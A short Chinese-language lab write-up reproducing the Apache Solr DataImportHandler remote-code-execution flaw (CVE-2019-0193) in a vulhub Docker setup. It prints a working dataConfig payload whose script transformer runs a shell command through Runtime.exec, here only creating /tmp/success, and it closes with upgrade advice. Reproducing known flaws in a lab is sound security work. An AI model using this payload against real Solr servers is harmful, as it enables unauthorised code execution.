前言
Apache Solr官方发布Apache Solr存在一个远程代码执行漏洞(CVE-2019-0193),攻击者可利用dataConfig参数构造恶意请求,导致执行任意代码
影响版本
Apache Solr < 8.2.0
环境搭建
切换到solr目录
cd vulhub/solr/CVE-2019-0193
docker-compose up -d
docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db
访问http://your-ip:8983/即可查看到Apache solr的管理页面,无需登录。
漏洞复现
首先打开刚刚创建好的test核心,选择Dataimport功能并选择debug模式,填入以下POC,poc是在tmp目录下创建success
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[
function poc(){ java.lang.Runtime.getRuntime().exec("touch /tmp/success");
}
]]></script>
<document>
<entity name="stackoverflow"
url="https://stackoverflow.com/feeds/tag/solr"
processor="XPathEntityProcessor"
forEach="/feed"
transformer="script:poc" />
</document>
</dataConfig>
点击Execute with this Confuguration
进入docker发现已经创建了
修复建议
把Solr版本升级到最新版